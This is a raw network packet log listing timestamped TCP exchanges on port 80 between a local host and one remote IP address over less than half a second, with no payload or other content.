Oct 21, 2024 08:47:22.006563902 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.006598949 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.014369011 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.014399052 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.014446974 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.014456987 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.014478922 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.014487982 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.014513016 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.014522076 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.014544964 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.014555931 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.014585972 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.014600039 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.014627934 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.014640093 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.014667988 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.014677048 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.014715910 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.014724016 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.014755964 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.014763117 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.014796019 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.014803886 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.014834881 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.014846087 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.014864922 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.014869928 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.014892101 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.014904976 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.014934063 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.014941931 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.014980078 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.014988899 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.015018940 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.015029907 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.015058041 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.015070915 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.015098095 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.015110016 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.015139103 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.015145063 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.015181065 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.015192986 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.015232086 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.015237093 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.015268087 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.015278101 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.015295029 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.015311003 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.015328884 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.015361071 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.015419960 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.015424967 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.015453100 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.015465021 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.015484095 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.015487909 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.015516043 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.015523911 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.015546083 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.015556097 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.015578985 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.015587091 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.015607119 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.015620947 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.015636921 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.015650034 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.015669107 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.015676022 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.015696049 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.015712023 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.015726089 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.015736103 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.015760899 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.015765905 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.015788078 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.015800953 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.015819073 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.015844107 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.015851021 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.015866041 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.016395092 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.057610989 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.057637930 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.057684898 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.057718992 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.057729959 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.057746887 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.057749987 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.057775021 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.057782888 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.057792902 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.060409069 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.125983953 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.126017094 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.126049042 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.126075983 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.126108885 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.134175062 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.134262085 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.134272099 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.134315968 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.134320974 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.134360075 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.134368896 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.134411097 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.134417057 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.134448051 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.134490013 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.134495974 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.134536028 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.134548903 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.134596109 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.134618044 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.134627104 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.134629011 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.134665966 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.134675026 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.134712934 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.134721041 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.134751081 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.134762049 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.134783030 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.134810925 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.134829998 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.134855986 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.134856939 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.134910107 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.134918928 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.134938002 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.134951115 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.134969950 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.134979963 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.135004997 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.135014057 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.135035038 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.135063887 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.135066032 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.135092974 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.135092974 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.135111094 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.135123968 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.135138988 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.135155916 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.135166883 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.135186911 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.135198116 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.135220051 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.135227919 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.135248899 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.135276079 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.135281086 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.135291100 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.135313988 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.135344982 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.135359049 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.135375977 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.135387897 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.135420084 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.135425091 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.135457039 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.135468006 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.135483980 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.135498047 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.135514975 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.135519981 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.135546923 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.135554075 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.135586977 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.177076101 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.177107096 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.177131891 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.177139044 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.177140951 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.177170992 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.177182913 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.177206039 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.222920895 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.222966909 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.223004103 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.223032951 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.223202944 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.245389938 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.245424986 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.245459080 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.245476961 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.245511055 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.253484964 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.253519058 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.253570080 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.253580093 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.253602982 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.253618002 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.253645897 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.253648996 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.253689051 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.253695011 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.253726959 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.253746986 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.253771067 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.253774881 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.253807068 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.253819942 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.253849030 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.253854036 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.253886938 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.253895044 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.253928900 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.253935099 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.253968000 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.253983021 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.253998995 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.254009008 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.254031897 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.254048109 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.254062891 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.254076958 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.254111052 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.254117966 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.254148006 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.254159927 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.254183054 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.254203081 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.254210949 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.254225969 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.254261971 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.254266024 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.254307985 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.254312038 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.254345894 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.254364967 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.254376888 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.254398108 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.254410028 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.254430056 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.254441977 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.254461050 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.254472971 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.254493952 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.254504919 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.254522085 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.254535913 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.254558086 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.254570007 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.254590034 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.254597902 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.254625082 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.254630089 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.254642010 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.254664898 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.254692078 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.254715919 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.254723072 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.254740953 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.254755020 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.254764080 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.254786968 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.254812956 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.254837036 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.296884060 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.296933889 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.296971083 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.296987057 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.297029972 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.342350960 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.342391014 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.342425108 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.342459917 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.342498064 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.364955902 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.364989042 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.365020990 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.365051985 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.365092993 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.372865915 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.372916937 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.372950077 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.372977018 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.372998953 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.373014927 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.373032093 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.373044968 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.373065948 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.373111963 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.373135090 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.373167992 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.373177052 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.373208046 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.373214960 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.373256922 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.373264074 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.373296022 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.373303890 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.373325109 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.373337984 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.373364925 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.373373032 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.373414993 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.373423100 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.373454094 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.373465061 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.373493910 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.373501062 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.373543978 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.373555899 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.373598099 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.373606920 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.373653889 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.373656034 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.373749971 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.373755932 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.373788118 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.373800039 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.373819113 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.373828888 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.373857975 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.373866081 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.373898029 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.373907089 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.373928070 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.373943090 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.373960018 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.373967886 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.373991966 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.374001026 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.374025106 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.374037981 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.374056101 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.374066114 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.374088049 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.374097109 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.374119043 CEST	80	49732	147.45.44.221	192.168.2.4
